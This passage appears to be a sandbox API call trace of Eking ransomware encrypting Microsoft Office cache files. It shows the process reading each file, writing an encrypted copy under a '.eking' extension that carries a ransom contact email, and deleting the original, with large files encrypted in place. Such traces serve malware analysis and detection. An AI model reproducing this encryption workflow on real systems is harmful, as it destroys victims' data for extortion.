CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.892] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.896] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.898] ResetEvent (hEvent=0x134) returned 1 [0194.898] SetEvent (hEvent=0x138) returned 1 [0194.898] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.898] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.913] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.914] ResetEvent (hEvent=0x134) returned 1 [0194.914] SetEvent (hEvent=0x138) returned 1 [0194.914] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0194.914] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3186) returned 1 [0194.914] CloseHandle (hObject=0x1a4) returned 1 [0194.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0194.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0194.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.914] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0194.915] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0194.915] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0194.915] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0194.915] ReadFile (in: hFile=0x1a4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xc72, lpOverlapped=0x0) returned 1 [0194.926] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc80, lpOverlapped=0x0) returned 1 [0194.927] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0194.928] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0194.928] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0194.928] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xc72, lpOverlapped=0x0) returned 1 [0194.928] FlushFileBuffers (hFile=0x1a4) returned 1 [0195.842] FlushFileBuffers (hFile=0x1a8) returned 1 [0195.851] CloseHandle (hObject=0x1a4) returned 1 [0196.191] CloseHandle (hObject=0x1a8) returned 1 [0196.192] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0196.193] SetEvent (hEvent=0xe0) returned 1 [0196.195] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0196.195] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4207) returned 1 [0196.195] CloseHandle (hObject=0x1a8) returned 1 [0196.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0196.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0196.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0196.196] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0196.196] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0196.196] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0196.196] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x178 [0196.196] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x106f, lpOverlapped=0x0) returned 1 [0196.432] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x1070, lpOverlapped=0x0) returned 1 [0196.433] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0196.434] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0196.434] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0196.434] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x106f, lpOverlapped=0x0) returned 1 [0196.434] FlushFileBuffers (hFile=0x1a8) returned 1 [0197.235] FlushFileBuffers (hFile=0x178) returned 1 [0197.864] CloseHandle (hObject=0x1a8) returned 1 [0197.865] CloseHandle (hObject=0x178) returned 1 [0197.866] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0197.868] SetEvent (hEvent=0xe0) returned 1 [0197.869] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0198.067] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2424) returned 1 [0198.067] CloseHandle (hObject=0x178) returned 1 [0198.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0198.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0198.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0198.068] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0198.068] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0198.068] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0198.068] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0198.287] ReadFile (in: hFile=0x178, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x978, lpOverlapped=0x0) returned 1 [0198.325] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x980, lpOverlapped=0x0) returned 1 [0198.326] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0198.327] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0198.327] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0198.327] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x978, lpOverlapped=0x0) returned 1 [0198.327] FlushFileBuffers (hFile=0x178) returned 1 [0198.694] FlushFileBuffers (hFile=0x1a8) returned 1 [0199.577] CloseHandle (hObject=0x178) returned 1 [0199.606] CloseHandle (hObject=0x1a8) returned 1 [0199.606] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0199.607] SetEvent (hEvent=0xe0) returned 1 [0199.611] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0199.611] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2522624) returned 1 [0199.611] CloseHandle (hObject=0x1a8) returned 1 [0199.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0199.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0199.612] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0199.612] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0199.612] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0199.612] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0199.621] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0199.621] ReadFile (in: hFile=0x1a8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0199.659] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0199.659] ReadFile (in: hFile=0x1a8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0200.045] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0200.045] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0200.202] SetEndOfFile (hFile=0x1a8) returned 1 [0200.206] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0200.206] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0200.209] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0200.209] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0200.214] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0200.214] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0200.216] FlushFileBuffers (hFile=0x1a8) returned 1 [0201.384] CloseHandle (hObject=0x1a8) returned 1 [0202.131] SetEvent (hEvent=0xe0) returned 1 [0202.134] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0202.134] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1800) returned 1 [0202.134] CloseHandle (hObject=0x1a8) returned 1 [0202.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0202.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0202.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0202.135] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0202.135] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0202.135] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0202.135] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1bc [0202.252] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x708, lpOverlapped=0x0) returned 1 [0202.328] WriteFile (in: hFile=0x1bc, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x710, lpOverlapped=0x0) returned 1 [0202.329] WriteFile (in: hFile=0x1bc, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0202.330] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0202.330] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0202.330] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x708, lpOverlapped=0x0) returned 1 [0202.330] FlushFileBuffers (hFile=0x1a8) returned 1 [0202.360] FlushFileBuffers (hFile=0x1bc) returned 1 [0202.363] CloseHandle (hObject=0x1a8) returned 1 [0202.364] CloseHandle (hObject=0x1bc) returned 1 [0202.365] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0202.366] SetEvent (hEvent=0xe0) returned 1 [0202.366] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0202.373] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=11482605) returned 1 [0202.373] CloseHandle (hObject=0x1bc) returned 1 [0202.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0202.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0202.383] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all 